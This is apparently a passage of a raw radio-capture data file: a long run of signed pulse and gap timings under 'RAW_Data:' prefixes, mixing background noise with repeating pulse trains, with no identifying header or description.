-128 127 -56 71 -124 129 -128 127 -126 55 -70 125 -64 63 -62 63 -62 63 -64 63 -128 127 -64 63 -62 61 -64 63 -64 63 -62 63 -64 63 -64 61 -128 129 -64 61 -62 63 -128 63 -64 125 -128 63 -64 61 -62 127 -130 63 -62 61 -64 61 -64 127 -130 63 -62 61 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 127 -64 61 -64 63 -126 63 -64 63 -62 63 -64 63 -62 63 -64 127 -64 63 -126 129 -64 61 -62 63 -126 129 -64 61 -128 127 -64 61 -62 63 -128 63 -64 61 -64 61 -64 127 -64 63 -128 127 -128 127 -56 69 -62 61 -128 63 -64 61 -64 127 -64 63 -62 63 -62 63 -128 63 -64 127 -128 63 -62 61 -64 127 -64 63 -126 63 -64 127 -64 61 -62 265 -182 120 -604 95 -54 61 -215 126 -306 177 -420 142 -216 53 -416 63 -254 103 -72 71 -72 123 -96 122 -209 89 -900 69 -302 57 -86 65 -58 85 -324 63 -62 95 -82 101 -224 53 -179 71 -90 69 -153 77 -632 107 -224 59 -118 121 -111 119 -506 105 -54 93 -66 51 -100 94 -264 119 -229 81 -111 116 -156 53 -122 83 -120 77 -161 53 -463 103 -636 61 -308 53 -70 88 -179 97 -170 55 -440 101 -60 167 -98 67 -427 87 -52 112 -205 67 -96 63 -97 89 -757 88 -266 162 -98 71 -134 116 -385 53 -52 59 -90 85 -341 57 -167 -RAW_Data: 96 -211 67 -188 63 -573 61 -108 124 -52 59 -72 77 -208 86 -212 206 -60 51 -100 93 -162 119 -92 55 -93 69 -118 70 -82 159 -542 65 -152 135 -188 59 -192 67 -145 87 -142 57 -195 113 -92 51 -667 93 -144 75 -92 114 -96 65 -276 146 -102 123 -206 97 -222 61 -166 53 -468 51 -127 59 -255 134 -208 59 -238 67 -108 98 -228 67 -96 182 -735 124 -421 81 -145 133 -156 59 -207 51 -106 147 -616 53 -64 69 -124 81 -115 61 -251 69 -77 156 -234 79 -259 172 -404 95 -433 51 -80 51 -569 73 -86 141 -275 117 -384 67 -156 53 -140 73 -102 97 -121 59 -498 71 -62 160 -943 53 -236 97 -274 71 -201 106 -116 81 -70 97 -500 132 -173 51 -64 53 -114 101 -303 135 -78 57 -252 72 -238 71 -100 69 -112 73 -181 97 -78 89 -348 149 -255 116 -98 105 -527 177 -475 115 -126 51 -233 112 -72 125 -125 94 -139 67 -195 53 -118 145 -352 167 -131 123 -155 344 -124 152 -161 89 -80 77 -284 77 -486 93 -396 514 -223 92 -62 265 -218 69 -136 270 -215 69 -90 89 -75 143 -96 165 -72 262 -60 176 -74 121 -86 360 -163 59 -112 57 -171 51 -182 259 -58 268 -74 83 -126 53 -88 55 -227 53 -108 61 -108 145 -86 264 -68 201 -110 71 -54 53 -172 79 -80 195 -223 59 -73 223 -117 122 -180 113 -161 79 -168 96 -249 67 -149 75 -106 169 -82 80 -150 61 -128 83 -98 53 -403 142 -494 137 -184 127 -594 51 -60 87 -87 124 -118 61 -100 53 -242 132 -119 53 -424 125 -298 59 -70 61 -80 53 -160 61 -92 71 -54 115 -54 131 -673 61 -743 73 -140 59 -545 77 -90 61 -86 204 -216 61 -80 226 -130 112 -62 134 -278 140 -191 67 -156 53 -104 97 -209 73 -640 113 -52 69 -224 133 -304 93 -171 61 -100 75 -262 207 -129 80 -149 81 -302 162 -164 67 -302 83 -458 127 -108 53 -168 102 -90 99 -401 71 -62 73 -292 59 -323 148 -213 147 -583 136 -54 131 -185 77 -116 53 -132 51 -196 120 -729 51 -132 93 -143 112 -201 153 -64 117 -94 53 -226 108 -323 69 -734 141 -240 53 -168 111 -102 89 -661 97 -58 185 -80 71 -153 63 -80 67 -370 75 -428 53 -120 69 -730 59 -172 75 -98 59 -559 59 -112 82 -432 159 -364 98 -649 120 -498 160 -314 104 -62 87 -160 53 -1016 57 -62 90 -248 61 -90 101 -123 123 -727 61 -212 113 -104 125 -337 79 -587 65 -713 61 -458 67 -104 75 -200 83 -698 75 -222 -RAW_Data: 143 -256 61 -1020 61 -233 176 -358 55 -423 59 -372 127 -395 51 -120 143 -104 111 -221 88 -166 73 -598 102 -289 63 -140 53 -306 183 -171 83 -98 89 -194 53 -272 55 -330 59 -402 104 -85 67 -156 89 -60 110 -54 125 -99 85 -196 105 -97 83 -76 73 -99 125 -560 202 -185 59 -80 133 -96 51 -96 51 -226 119 -122 102 -82 73 -106 57 -118 68 -136 81 -179 75 -191 51 -74 59 -132 63 -129 51 -62 249 -60 89 -60 169 -155 78 -228 86 -417 80 -192 65 -62 89 -657 131 -56 87 -97 161 -196 140 -182 63 -104 51 -221 103 -102 83 -285 148 -327 67 -124 172 -127 65 -98 103 -64 106 -108 103 -495 77 -153 143 -110 79 -66 114 -68 57 -52 119 -54 83 -52 59 -97 59 -117 267 -54 157 -82 135 -212 131 -81 53 -161 312 -68 97 -118 162 -120 79 -68 99 -54 53 -54 134 -86 89 -158 111 -54 73 -263 173 -390 95 -178 100 -407 132 -371 51 -90 53 -124 81 -197 118 -672 63 -155 55 -297 59 -151 101 -579 51 -204 95 -70 174 -140 71 -322 55 -350 81 -167 91 -395 53 -667 125 -310 51 -94 53 -52 63 -477 71 -52 121 -204 105 -92 81 -251 59 -62 87 -132 53 -54 59 -66 53 -329 196 -70 77 -410 146 -213 137 -178 51 -64 106 -242 61 -497 135 -92 51 -238 67 -281 55 -145 206 -375 61 -132 143 -233 83 -200 71 -110 55 -319 109 -683 61 -224 80 -186 95 -224 57 -335 73 -128 51 -162 51 -94 55 -111 79 -491 87 -108 157 -431 53 -407 61 -216 103 -444 53 -269 131 -96 89 -94 59 -607 91 -258 55 -52 51 -83 59 -150 55 -163 93 -231 115 -72 105 -438 53 -472 88 -84 63 -84 92 -553 119 -574 83 -138 105 -352 53 -690 156 -54 95 -332 111 -138 59 -114 65 -348 114 -405 61 -118 79 -524 85 -68 53 -124 71 -175 87 -54 89 -162 73 -52 103 -452 101 -62 51 -239 61 -163 89 -200 99 -150 149 -160 75 -248 67 -417 59 -80 218 -193 53 -241 83 -84 53 -124 59 -92 147 -96 68 -138 65 -90 148 -77 85 -261 51 -234 51 -84 53 -88 59 -58 118 -187 69 -151 77 -72 53 -108 176 -373 70 -357 67 -244 59 -249 61 -877 51 -56 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 -RAW_Data: 51 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 127 -64 63 -126 129 -56 69 -126 63 -64 61 -64 63 -62 63 -64 63 -64 127 -64 63 -62 63 -62 63 -128 127 -64 63 -126 63 -64 61 -64 127 -128 63 -62 63 -62 63 -64 61 -64 127 -130 127 -128 127 -118 135 -56 69 -124 129 -128 127 -118 63 -62 133 -64 63 -62 63 -62 63 -64 63 -128 127 -64 61 -64 61 -64 63 -62 63 -64 63 -64 61 -64 63 -128 127 -64 63 -62 63 -126 65 -62 127 -128 63 -62 63 -62 127 -128 63 -64 61 -64 61 -64 127 -130 63 -62 61 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 127 -66 61 -64 61 -128 63 -64 61 -64 63 -64 61 -64 63 -64 127 -64 63 -126 127 -64 63 -62 61 -128 129 -64 61 -126 129 -64 61 -62 63 -128 63 -62 63 -64 61 -64 127 -64 63 -126 129 -128 125 -56 69 -64 61 -126 65 -62 63 -64 127 -64 61 -64 63 -62 63 -128 63 -64 125 -130 127 -56 69 -62 61 -64 63 -128 127 -64 61 -64 61 -64 633 -173 135 -193 88 -169 147 -84 115 -221 71 -88 97 -52 51 -336 71 -56 79 -222 51 -348 135 -347 67 -213 224 -70 69 -249 135 -281 53 -492 81 -116 129 -172 97 -98 53 -249 88 -141 104 -383 176 -121 124 -837 132 -128 53 -144 53 -645 83 -96 117 -270 51 -62 53 -485 51 -182 69 -151 67 -72 53 -530 75 -62 93 -270 81 -74 53 -108 91 -225 67 -137 95 -106 63 -296 59 -185 51 -149 67 -386 67 -64 61 -687 96 -90 59 -100 73 -207 128 -151 79 -104 89 -255 83 -131 80 -227 97 -210 89 -176 142 -493 229 -268 97 -62 71 -236 83 -406 141 -141 101 -254 88 -211 265 -132 59 -97 61 -350 65 -260 91 -242 101 -54 89 -182 145 -354 51 -62 269 -453 53 -178 61 -657 150 -331 69 -191 53 -54 89 -134 68 -144 94 -60 59 -223 107 -92 59 -831 113 -154 75 -136 57 -102 55 -56 63 -118 105 -144 79 -711 57 -162 77 -115 89 -287 61 -215 95 -113 69 -333 71 -378 96 -679 55 -527 89 -384 76 -1027 71 -178 53 -486 53 -122 110 -276 71 -187 51 -96 61 -401 106 -144 63 -705 103 -508 150 -540 142 -237 63 -174 63 -722 59 -567 106 -90 105 -168 61 -104 127 -308 53 -114 113 -68 163 -277 134 -347 103 -62 53 -118 81 -161 -RAW_Data: 51 -268 51 -67 171 -52 67 -56 232 -142 69 -293 77 -416 192 -68 152 -203 106 -70 89 -197 146 -144 116 -54 113 -118 89 -329 132 -269 63 -207 172 -192 223 -85 53 -108 292 -90 91 -52 53 -72 89 -171 166 -60 71 -193 166 -201 71 -80 128 -586 81 -154 53 -198 63 -52 113 -304 137 -199 181 -112 150 -96 415 -52 51 -52 418 -78 113 -90 103 -96 282 -58 121 -52 176 -131 217 -54 359 -138 71 -94 65 -72 105 -76 151 -54 290 -62 59 -104 55 -132 53 -247 87 -68 88 -111 93 -78 211 -96 106 -241 128 -91 91 -105 121 -72 212 -52 105 -58 51 -123 215 -66 121 -54 67 -111 112 -116 91 -70 210 -78 79 -54 280 -111 132 -145 87 -120 53 -440 244 -310 77 -151 53 -69 57 -238 59 -196 75 -169 77 -54 127 -154 61 -186 53 -265 79 -231 61 -114 145 -116 51 -333 107 -106 71 -60 87 -183 82 -70 191 -114 51 -363 91 -66 63 -354 85 -70 51 -135 59 -78 80 -268 53 -152 94 -233 123 -332 103 -250 150 -264 86 -72 67 -103 59 -248 115 -143 51 -104 65 -68 73 -103 67 -98 51 -798 147 -339 53 -70 59 -593 91 -209 96 -124 98 -996 83 -338 77 -258 67 -124 83 -280 51 -178 53 -72 106 -152 51 -320 106 -106 71 -471 59 -258 104 -60 121 -548 70 -136 53 -54 63 -290 65 -153 97 -76 51 -308 67 -116 75 -382 59 -574 83 -127 143 -152 61 -201 65 -270 67 -191 103 -142 108 -212 185 -112 63 -264 61 -82 53 -72 70 -199 91 -52 81 -303 61 -138 57 -326 112 -211 88 -204 86 -744 79 -196 71 -244 71 -515 53 -143 115 -252 71 -450 211 -428 118 -182 87 -52 96 -96 51 -89 79 -238 51 -112 59 -820 77 -530 191 -539 51 -430 53 -138 53 -54 63 -295 123 -134 79 -547 71 -209 155 -110 193 -127 59 -52 59 -98 59 -149 372 -86 105 -228 177 -148 89 -91 53 -66 173 -178 267 -135 102 -90 132 -154 212 -116 242 -54 88 -90 178 -116 97 -90 69 -563 53 -100 115 -161 81 -101 204 -205 61 -52 285 -90 79 -84 99 -52 69 -207 165 -133 51 -259 79 -52 67 -70 160 -66 79 -89 63 -96 137 -196 71 -78 292 -215 124 -144 89 -86 179 -202 113 -217 65 -152 186 -74 119 -66 69 -76 71 -60 111 -98 51 -122 222 -106 206 -223 115 -58 53 -62 51 -129 266 -80 51 -70 71 -64 513 -147 81 -274 176 -104 147 -112 67 -62 118 -127 439 -239 215 -84 104 -103 153 -106 81 -196 71 -74 -RAW_Data: 79 -620 51 -766 104 -138 63 -98 51 -96 121 -436 71 -150 53 -188 63 -907 51 -199 89 -454 53 -80 122 -82 71 -170 57 -647 53 -326 59 -311 79 -154 59 -171 53 -491 61 -328 53 -465 111 -66 133 -476 79 -85 61 -212 97 -628 163 -206 61 -92 69 -339 97 -54 53 -141 59 -267 71 -602 57 -239 63 -66 69 -78 51 -258 72 -158 131 -200 51 -556 59 -80 69 -749 63 -454 67 -256 89 -140 61 -105 53 -126 103 -731 59 -182 89 -82 59 -186 61 -96 57 -171 101 -248 184 -131 71 -250 91 -172 165 -241 67 -270 71 -108 59 -74 88 -54 65 -86 156 -156 89 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 193 -219 73 -401 106 -190 53 -374 143 -174 53 -114 -RAW_Data: 65 -90 122 -257 80 -78 148 -72 61 -650 99 -97 63 -148 63 -175 113 -429 176 -112 59 -291 63 -140 85 -86 133 -106 162 -131 70 -267 98 -118 63 -90 59 -170 95 -308 148 -102 72 -110 130 -111 154 -370 55 -246 97 -588 106 -157 99 -133 107 -205 143 -156 71 -445 147 -282 141 -221 71 -144 117 -72 53 -664 206 -528 71 -140 156 -680 51 -285 53 -914 81 -68 146 -298 51 -364 83 -216 67 -280 61 -245 53 -114 55 -110 87 -457 113 -505 51 -1016 89 -264 59 -280 74 -68 51 -419 51 -232 71 -116 63 -371 163 -78 165 -359 53 -68 160 -321 53 -165 61 -719 155 -850 51 -90 136 -112 113 -788 57 -290 133 -82 71 -177 203 -117 86 -241 55 -489 63 -94 83 -71 53 -122 111 -100 51 -440 51 -62 78 -385 103 -64 67 -52 53 -312 59 -88 139 -90 61 -80 55 -318 79 -773 241 -348 69 -268 85 -339 79 -82 158 -193 1091 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 127 -66 61 -128 127 -64 61 -128 63 -62 63 -62 63 -64 61 -64 63 -64 127 -64 63 -62 63 -64 61 -128 129 -64 61 -126 63 -64 63 -62 127 -128 63 -64 61 -64 61 -64 63 -64 127 -128 63 -62 63 -62 127 -128 127 -56 71 -126 127 -128 127 -126 55 -62 133 -64 63 -62 63 -64 61 -64 63 -128 127 -64 63 -62 61 -64 63 -64 63 -62 63 -64 63 -64 61 -128 129 -64 61 -62 63 -126 65 -62 127 -128 63 -64 61 -62 127 -130 63 -62 61 -64 63 -62 127 -130 63 -62 61 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 127 -64 61 -64 63 -126 63 -64 63 -62 63 -64 63 -62 63 -64 127 -64 63 -62 63 -128 127 -128 127 -56 69 -126 63 -64 125 -130 61 -64 61 -62 63 -64 127 -128 63 -64 125 -128 127 -56 69 -126 65 -62 127 -128 127 -56 69 -62 61 -64 63 -64 63 -62 63 -128 63 -64 127 -64 61 -64 61 -128 127 -130 125 -128 127 -56 69 -62 399 -74 107 -413 113 -102 183 -90 51 -724 179 -112 107 -54 89 -143 244 -80 128 -141 53 -162 91 -73 79 -427 51 -126 59 -344 125 -208 -RAW_Data: 93 -263 105 -399 118 -138 224 -91 61 -219 126 -72 218 -563 81 -315 51 -64 53 -133 75 -76 59 -52 57 -94 81 -286 53 -100 149 -266 89 -151 99 -155 71 -353 91 -54 97 -68 63 -488 63 -104 140 -400 91 -244 59 -252 53 -444 59 -430 51 -90 102 -198 57 -120 61 -325 85 -605 98 -253 87 -122 83 -243 75 -311 79 -244 114 -54 107 -209 131 -129 69 -129 113 -142 81 -54 164 -104 128 -326 51 -144 73 -444 131 -267 59 -134 73 -429 53 -70 53 -462 59 -88 102 -58 121 -626 105 -62 71 -179 53 -445 67 -177 83 -114 65 -56 67 -340 99 -52 87 -313 99 -145 132 -54 113 -68 63 -529 51 -120 53 -164 51 -194 73 -116 61 -140 67 -468 75 -184 53 -341 69 -96 77 -131 119 -421 69 -103 145 -330 159 -200 63 -79 69 -298 67 -100 65 -228 73 -66 131 -110 79 -316 121 -74 53 -342 134 -733 51 -52 106 -472 65 -238 53 -185 69 -104 63 -205 63 -156 53 -100 65 -54 57 -52 51 -80 71 -378 63 -154 57 -288 209 -124 78 -140 149 -363 231 -157 57 -136 53 -132 51 -310 117 -84 95 -301 65 -155 53 -365 67 -292 105 -224 117 -124 59 -76 135 -200 75 -127 163 -203 51 -282 71 -923 86 -584 67 -757 51 -247 53 -361 124 -86 71 -74 55 -194 135 -111 55 -161 197 -64 125 -98 53 -186 53 -286 146 -114 108 -128 104 -307 76 -205 173 -272 69 -433 240 -199 216 -687 75 -490 121 -88 86 -166 166 -76 59 -189 175 -98 161 -226 246 -62 71 -174 59 -132 63 -72 55 -100 94 -207 130 -54 123 -54 83 -571 89 -115 189 -114 142 -156 88 -356 65 -124 91 -82 71 -136 255 -92 105 -169 95 -152 134 -66 267 -104 90 -73 102 -66 261 -96 113 -116 53 -203 173 -156 59 -167 97 -88 53 -349 59 -419 63 -280 82 -96 136 -191 108 -183 59 -352 97 -54 186 -104 61 -249 67 -180 97 -52 140 -735 105 -639 53 -225 67 -423 250 -195 156 -135 51 -893 88 -216 97 -143 123 -90 116 -58 71 -68 53 -151 289 -551 57 -253 72 -420 61 -334 71 -291 53 -64 78 -519 95 -76 89 -54 53 -384 53 -525 61 -800 93 -494 61 -556 99 -774 81 -118 59 -90 57 -285 81 -126 80 -227 107 -339 53 -186 51 -138 147 -223 53 -90 57 -140 81 -335 105 -278 63 -164 53 -476 51 -251 90 -573 98 -150 105 -96 111 -375 53 -104 51 -264 74 -132 113 -90 51 -775 95 -232 59 -183 127 -300 90 -468 117 -452 221 -62 63 -76 -RAW_Data: 133 -652 61 -460 95 -205 57 -324 57 -310 89 -106 93 -134 63 -825 61 -205 112 -154 71 -140 138 -136 61 -151 71 -192 51 -84 99 -790 97 -263 71 -107 71 -199 98 -255 51 -68 143 -143 65 -291 89 -173 63 -627 61 -888 53 -413 79 -173 79 -168 94 -206 83 -439 67 -235 123 -687 51 -52 57 -425 51 -499 71 -153 53 -215 63 -215 61 -670 74 -82 93 -410 51 -185 51 -440 67 -303 51 -86 63 -189 81 -224 113 -195 81 -626 59 -114 105 -373 77 -334 78 -123 104 -221 89 -1875 61 -578 59 -139 97 -437 51 -137 59 -212 63 -175 53 -204 107 -253 75 -116 605 -56 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 258 -429 69 -548 89 -257 53 -514 65 -212 -RAW_Data: 67 -166 129 -106 214 -166 77 -567 81 -54 94 -229 106 -725 51 -64 61 -207 61 -434 97 -114 103 -215 107 -248 67 -52 107 -143 97 -136 110 -64 71 -170 51 -104 59 -240 67 -158 81 -408 77 -601 77 -169 61 -343 61 -612 151 -52 75 -201 69 -290 61 -132 87 -116 71 -354 85 -120 78 -60 89 -121 114 -80 127 -104 89 -563 51 -293 86 -246 1641 -56 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 127 -64 63 -126 127 -64 63 -126 63 -64 61 -64 61 -64 63 -64 63 -62 127 -64 63 -64 61 -64 63 -128 127 -64 61 -128 63 -62 63 -64 125 -130 63 -62 61 -64 63 -62 63 -64 127 -128 63 -64 61 -62 127 -130 127 -56 69 -126 127 -128 127 -128 55 -70 125 -64 61 -64 61 -64 63 -64 61 -128 129 -64 61 -62 63 -64 61 -64 63 -64 63 -62 63 -64 63 -128 127 -64 63 -62 61 -128 63 -64 127 -128 63 -62 61 -64 127 -128 63 -64 61 -62 63 -64 127 -128 63 -64 61 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 127 -64 63 -62 63 -128 63 -62 63 -64 61 -64 63 -64 63 -62 127 -66 61 -64 61 -64 63 -64 61 -128 129 -128 127 -118 135 -128 55 -62 133 -64 61 -128 63 -62 127 -128 127 -56 69 -62 63 -62 63 -64 63 -64 61 -128 129 -128 63 -62 61 -64 125 -130 127 -128 125 -56 69 -62 63 -62 63 -64 63 -128 63 -64 125 -128 129 -56 261 -107 87 -54 214 -202 59 -198 67 -68 110 -98 71 -54 65 -355 59 -66 53 -148 67 -116 72 -113 51 -311 83 -70 83 -52 51 -125 61 -333 89 -154 92 -637 53 -152 152 -404 74 -126 102 -473 53 -393 152 -62 61 -87 53 -327 75 -651 75 -500 91 -321 295 -386 63 -98 96 -477 55 -313 71 -204 67 -159 129 -70 109 -122 53 -88 67 -196 85 -118 59 -149 119 -458 145 -82 65 -153 134 -134 115 -345 114 -108 59 -969 223 -185 59 -398 69 -98 92 -426 53 -448 73 -323 53 -62 70 -695 143 -87 89 -593 115 -52 71 -125 61 -397 51 -134 73 -532 61 -131 51 -84 129 -280 51 -233 51 -56 63 -172 85 -533 89 -126 166 -543 105 -396 195 -220 -RAW_Data: 77 -78 99 -72 53 -54 123 -122 103 -54 88 -186 69 -78 73 -220 121 -509 51 -437 94 -66 51 -173 77 -275 129 -301 51 -226 70 -54 63 -485 61 -89 53 -62 61 -535 53 -348 71 -54 93 -66 71 -301 59 -52 73 -127 150 -78 59 -285 77 -52 73 -56 51 -170 73 -277 61 -108 109 -233 80 -1138 59 -457 79 -497 185 -108 144 -54 51 -239 127 -325 97 -78 61 -707 127 -300 59 -256 113 -367 51 -106 69 -99 79 -162 89 -262 178 -98 59 -108 53 -176 118 -90 71 -781 51 -68 67 -367 61 -80 53 -691 61 -170 149 -114 82 -165 133 -118 51 -149 79 -124 69 -60 69 -203 51 -213 55 -1101 94 -449 91 -192 67 -190 79 -106 71 -119 157 -168 127 -1227 71 -116 81 -225 71 -180 72 -187 71 -265 89 -278 51 -76 101 -142 94 -100 71 -70 86 -212 91 -235 100 -367 53 -174 51 -68 65 -201 55 -154 91 -161 61 -122 59 -193 75 -68 134 -76 53 -202 59 -155 82 -52 108 -321 127 -160 94 -662 59 -242 73 -386 53 -90 67 -198 69 -105 159 -90 61 -226 53 -136 59 -130 81 -519 182 -130 90 -460 83 -82 187 -363 143 -98 68 -196 75 -381 55 -54 106 -127 72 -201 59 -78 79 -98 237 -118 81 -144 87 -126 255 -72 125 -376 269 -354 95 -248 157 -266 51 -230 81 -112 67 -698 169 -416 191 -90 232 -284 77 -250 248 -150 97 -180 61 -154 67 -148 214 -64 79 -80 116 -318 55 -251 67 -126 142 -143 105 -97 77 -196 106 -181 51 -86 71 -138 95 -58 53 -144 148 -405 97 -163 97 -102 89 -86 95 -127 143 -52 81 -98 85 -241 195 -248 75 -68 133 -104 88 -163 145 -200 61 -288 73 -170 53 -201 75 -150 51 -234 98 -126 149 -290 141 -246 53 -100 111 -68 128 -60 83 -70 89 -363 79 -1330 99 -233 98 -218 96 -134 55 -192 124 -52 51 -95 67 -646 108 -308 79 -70 89 -100 73 -64 73 -193 71 -90 157 -143 57 -54 89 -103 89 -135 51 -74 110 -206 51 -298 59 -194 170 -89 69 -64 71 -543 53 -237 124 -321 81 -407 57 -180 67 -209 142 -420 77 -120 55 -76 65 -98 67 -146 71 -436 158 -153 97 -378 61 -318 110 -82 167 -356 51 -114 69 -114 71 -116 53 -496 59 -52 77 -182 69 -286 67 -328 107 -384 71 -397 53 -54 101 -490 133 -149 59 -110 67 -260 53 -115 61 -355 65 -293 66 -68 133 -342 186 -423 51 -52 51 -569 142 -691 203 -281 86 -291 88 -990 53 -62 96 -70 77 -283 136 -188 -RAW_Data: 124 -254 59 -52 51 -289 57 -379 91 -72 130 -234 208 -105 65 -134 52 -126 91 -162 71 -166 81 -373 59 -54 99 -166 70 -710 67 -277 89 -278 106 -139 118 -305 61 -174 67 -580 69 -96 55 -120 57 -182 89 -527 102 -78 51 -180 82 -246 97 -292 53 -361 251 -228 103 -332 51 -411 57 -254 59 -339 59 -211 95 -137 114 -410 155 -571 125 -464 101 -614 94 -600 69 -112 117 -254 700 -56 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 209 -78 71 -308 59 -177 98 -170 79 -525 59 -116 207 -235 59 -384 67 -86 51 -508 61 -135 57 -377 75 -181 59 -489 59 -415 116 -84 133 -238 61 -265 69 -229 187 -224 71 -80 69 -223 95 -138 80 -142 53 -132 69 -100 -RAW_Data: 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 